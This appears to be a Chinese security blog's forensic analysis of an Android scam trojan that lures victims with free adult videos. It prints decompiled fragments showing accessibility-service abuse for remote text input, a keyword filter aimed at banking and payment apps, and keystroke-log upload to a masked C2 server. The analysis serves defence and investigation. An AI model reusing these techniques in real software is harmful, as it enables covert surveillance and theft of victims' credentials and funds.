乐于分享
好东西不私藏

记一次“免费看片”新型诈骗app木马盗刷分析

记一次“免费看片”新型诈骗app木马盗刷分析

免责声明本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任


近期无障碍权限劫持型远程控制木马诈骗持续高发。不法分子通过色情引流、福利资源、破解工具等虚假链接诱导用户下载恶意 APP,伪装成正常软件,诱导用户手动开启无障碍权限。木马后台隐蔽运行,可窃取短信验证码、通讯录、相册、银行卡及支付信息等隐私;并利用无障碍权限模拟人工操作,远程拨打电话、后台偷拍录像、自动读取支付验证码、静默转账盗刷,完全远程掌控用户手机,隐蔽性极强、危害严重。

经有关部门委托,针对涉案手机进行开展分析,该手机具备明显反取证能力:通过强制返回桌面干扰操作、重启后自动熄屏黑屏阻碍取证、采用延时触发规避检测。本次利用设备处理器性能有限,在设备断电重启后、恶意进程尚未完全加载,快速手动进入开发者模式并启用 USB 调试,手速一定要快。。
ps:注意下方出现代码的变量随机修改过后的
为确保本次恶意样本检测分析工作完整、规范、有效开展,本次分析工作依托超级取证大师、美亚 FC-1000 取证云平台云真机环境完成,感谢美亚技术支持
在取证云平台云真机环境安装并启动涉案 APP 后,程序自动弹窗诱导跳转至系统无障碍设置页面,并按步骤引导用户手动开启无障碍服务权限

apk会诱导获取短信读取、文件存储、悬浮窗、摄像头、麦克风等多项高危敏感权限。木马获取权限后,后台隐蔽运行,实施隐私窃取与远程控制操作。
在 MainActivity.java 中:
  • 界面伪装
    :恶意程序伪装为正常 Android 应用市场,实际通过内置 WebView 直接加载外部恶意(Yeloow)网页的看片网站 xxx.cc
  • 权限诱导
    :在 CreateResume 生命周期中,强制启动悬浮窗页面(FlyActivity)、后台工作服务(WorkService),实时检测无障碍服务(Service)运行状态;
  • 强制劫持
    :若检测到无障碍服务未启用,立即跳转悬浮窗页面并关闭当前界面,反复诱导、强制要求用户开启无障碍权限,不开启则无法正常使用程序;
  • 恶意服务
    AService 继承系统无障碍服务,具备模拟点击、页面操控、自动化执行等高危能力,配合 WebView 页面实现诱导下载、权限劫持等恶意行为
抓包分析
涉案恶意 APK ,以免费看片、色情资源为诱导诱饵,欺骗移动端用户下载安装。该恶意应用内置 WebView 组件,主动加载恶意黑产传播站点 XXX.cc:XX(涉黄引流页面,现已关停);页面跳转后静默后台启动恶意核心指令模块 ,并启动后台驻留服务,通过 TCP 长连接主动外联远程控制服务器X.X.X.X:XXX。如图显示客户端已连接

木马接收云端远程控制指令后,实施实时屏幕录制窃取画面、短信通讯录信息窃取、无障碍服务劫持实现自动点击、远程操控手机设备等高危窃密及控制行为

抓包发现涉案应用外联大量黄色情域名,同时外联一处国内备案可疑域名,后台主动采集并上传设备敏感参数。可疑域名上传的数据包包含设备 CPU 型号、操作系统版本、运行环境、设备唯一 UUID、用户标识、时间戳、序列号、SDK 版本、签名信息等多项敏感设备信息,后续可以调证

在分析APK的源代码,获取到APK与服务器通讯的IP跟端口,与下方动态分析抓包得到的值一致

C2恶意功能模块

// 硬编码的 C2 服务器地址host = "x.x.x.x";  // 服务器IPport = "x";             //
代码采用硬编码的C2 服务器地址,这个C2服务器的IP和端口可以被远程、动态、多次更换。
 屏幕监控与录制 
startForegroundService(intent)  // 前台服务int xxx= jSONObject.optInt("XXXX"30);      // 帧率int xxx= jSONObject.optInt("XXXX"1000000); // 码率float xxxx= (float) jSONObject.optDouble("XXXX", xxxx);

通过代码分析,该apk使用 Android 5.0+ 原生 MediaProjection + VirtualDisplay 实现屏幕录制,这是官方标准的屏幕采集方案,无需 Root 权限,可全屏采集屏幕画面,并支持实时视频流输出。

无障碍服务滥用 、

// 远程输入文本(模拟键盘输入)if () {    AccessibilityNodeInfo accessibilityNodeInfoFindFocus = accessService.findFocus(1);    Bundle bundle = new Bundle();    bundle.putCharSequence(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, str);    accessibilityNodeInfoFindFocus.performAction(2097152, bundle);  // 输入文本}

利用系统无障碍能力,模拟真实用户交互行为,可对任意应用执行点击、输入、滑动等自动化操作,有效绕过应用安全防护机制,实现无感知远程控制。

该应用存在大量高危权限申请,包括精准定位、读取短信、拨打电话、读取通话记录、获取账户、发送短信、录音、摄像头、剪贴板控制、禁用锁屏、后台唤醒等

实时屏幕 JSON 上传

在 APK 中存在专门的业务类,负责实时采集屏幕控件结构并编码为 JSON 对象树,通过递归遍历界面视图节点,将屏幕布局、控件属性、位置坐标及文本内容组织为结构化数据,最终上传至远程服务器。

远程指令     ↓┌───────────────────────┐│   屏幕采集服务         │  ← 启动采集任务└───────────┬───────────┘            │            ▼┌───────────────────────┐│   获取窗口根节点       │  ← 抓取当前界面顶层控件└───────────┬───────────┘            │            ▼┌───────────────────────┐│   构建基础 JSON 头部   ││  • 屏幕宽高            ││  • 设备基础信息        ││  • 当前前台应用包名    │└───────────┬───────────┘            │            ▼┌───────────────────────┐│   递归遍历所有控件     ││  • 控件类型(View)    ││  • 坐标位置(x,y,w,h) ││  • 显示文本(含密码)  ││  • 可编辑状态          ││  • 子节点树结构        │└───────────┬───────────┘            │            ▼┌───────────────────────┐│   生成完整 JSON 树     │  ← 结构可直接还原界面└───────────┬───────────┘            │            ▼┌───────────────────────┐│   加密发送至 C2 服务器 │  ← 网络服务上传└───────────────────────┘

利用无障碍服务获取屏幕焦点输入框,通过服务器下发指令,强制自动输入文本,可用于远程输入支付密码、短信验证码、登录密码,实现静默盗取资金和账号信息。

在源码中某个类, 是该恶意程序的键盘操作与敏感输入日志窃取核心模块,主要针对银行、支付、钱包等金融类 App 进行定向攻击。

        if (lowerCase.contains("bank")      // 工商/建行/农行等后缀            || lowerCase.contains("pay")    // 支付宝/微信支付            || lowerCase.contains("alipay")            || lowerCase.contains(BuildConfig.FLAVOR) // "io.flutter" → 壳App            || lowerCase.contains("wallet"// 钱包类App            || lowerCase.contains("finance")) { // 京东金融/度小满等            return true//         }

当检测到银行、支付宝、支付类应用时会 立即优先上传数据 ,不会等待批量上传。

publicfinalvoids(f DDDD){    // ... 解析应用名称 ...    // 【步骤1】先保存到本地数据库    long jH = this.b.h(DDDD);    if (jH > 0) {        DDD= jH;        // 【步骤2】判断是否立即上传        try {            if (x(CHECK)) {  // 调用检测方法                // ⚠️ 如果是金融应用或敏感内容,立即启动新线程上传                new Thread(new androidx.constraintlayout.motion.widget.a(12this, fVar)).start(); s(check) AccessibilityEvent 事件的最终落地函数(每条键盘事件都调用此函数)x(check) 就是金融关键词检测函数只要命中关键词 → y(check) 即刻执行 → 绕过 XXXX 的 1 小时批量上传逻辑
它通过 XXXService + 语义化关键词触发 + 优先级上传队列 实现:只要用户打开银行/支付宝/微信支付等 App,哪怕只是看一眼登录页,木马就会立刻上传所有键盘事件,绕过批量上传等待期
// 立即上传的线程new Thread(new androidx.constraintlayout.motion.widget.a(12thisXXX)).start();// 对应的实际方法public final void y(ArrayList arrayList) {    // 构建JSON数据    JSONObject jSONObject = new JSONObject();    jSONObject.put("batchId""batch_" + System.currentTimeMillis());    jSONObject.put("deviceId"Settings.Secure.getString(..., "android_id"));    jSONObject.put("timestamp"System.currentTimeMillis());    jSONObject.put("logs", jSONArray);  // 键盘记录    // 直接发送到C2服务器    byte[] bytes = jSONObject.toString().getBytes("UTF-8");    r.f13274g.g((byte) 12, bytes);  // 上传数据}
溯源情况
老规矩,先做信息收集摸排相关资产,不得不说 FOFA 的资产覆盖度确实很全
信息收集真的很重要!!!配合关键线索可以直接落地到人
通过多源数据研判,成功定位该APK运营嫌疑人关键信息:IP地址及端口、Mac地址、关联社交账号可能是真实人员,拥有出入境外生活照片,具体情况需由WA部门进一步研判核实。
注意:相关报告已经提交有关部门
吃瓜:嫌疑人代理服务器跳板实为自控C2的c段(/24网段)
——这哪是黑产,简直是「反溯源行为艺术大师」!!!

往期精彩回顾

一键上手:OpenClaw云端小龙虾自动化部署指南

警惕年末银狐钓鱼|套路再多,也敌不过智能体预警

技战法:基于小龙虾OpenClaw的VPN上网行为溯源取证


关注我,了解更多知识,别忘+看哦!